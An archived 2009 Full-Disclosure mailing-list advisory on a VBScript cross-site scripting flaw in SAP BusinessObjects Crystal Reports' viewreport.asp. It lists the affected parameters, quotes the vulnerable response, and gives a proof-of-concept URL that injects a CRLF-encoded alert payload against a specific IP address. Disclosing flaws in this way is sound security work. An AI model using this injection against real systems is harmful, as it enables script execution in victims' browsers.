full-disclosure - SAP BusinessObjects Crystal Reports viewreport.asp Multiple Parameter XSS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 2 Apr 2009 03:54:54 -0600
From: Bugs NotHugs <bugsnothugs@...il.com>
To: bugtraq <bugtraq@...urityfocus.com>, fd <full-disclosure@...ts.grok.org.uk>
Subject: SAP BusinessObjects Crystal Reports
	viewreport.asp Multiple Parameter XSS

- SAP BusinessObjects Crystal Reports viewreport.asp Multiple Parameter XSS

- Description

Cross-site scripting; vbscript rather than javascript. Subsequent page
will contain pop up reading "fsck_cissp". ID, PROMPTEX-SESSION_ID,
PROMPTEX-TO_DATE, PROMPTEX-FROM_DATE, PROMPTEX-YEAR_QTR1,
PROMPTEX-YEAR_QTR2, PROMPTEX-YEAR_QTR3, PROMPTEX-YEAR_QTR4,
PROMPTEX-YEAR_QTR5, PROMPTEX-YEAR_QTR6, PROMPTEX-YEAR_QTR7,
PROMPTEX-YEAR_QTR8, and PROMPTEX-QT parameters affected.

The following is the response:

        <SCRIPT LANGUAGE="VBScript">
        <!--

        Sub window_onLoad()
                Page_Initialize()
        End Sub

        Sub Page_Initialize
            On Error Resume Next
            Dim webBroker
            Set webBroker = CreateObject("CrystalReports11.WebReportBroker.1")
            if err.number <> 0 then
                window.alert "The Crystal ActiveX Viewer is unable to
create it's resource objects."
                CRViewer.ReportName =
"HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777
<HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777>
"
        window.alert "fsck_cissp"
            else
                Dim webSource0
                Set webSource0 =
CreateObject("CrystalReports11.WebReportSource.1")
                        webSource0.ReportSource = webBroker
                        webSource0.URL =
"HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777
<HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777>
"
        window.alert "fsck_cissp"
                        webSource0.PromptOnRefresh = True


                        CRViewer.ReportSource = webSource0
            end if
            CRViewer.ViewReport
        End Sub

        -->
        </SCRIPT>

- Product

SAP BusinessObjects, Crystal Reports, unknown

- PoC

https://66.240.213.81/some/path/viewreport.asp?url=viewrpt.cwr?ID=7777"%0d%0awindow.alert%20"fsck_cissp^^INIT=actx:connect

- Solution

None

- Timeline

2008-01-23: Vulnerability discovered
2008-02-15: Vendor contact methods unacceptable (paying customers only)

--
BugsNotHugs
Shared Vulnerability Disclosure Account

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/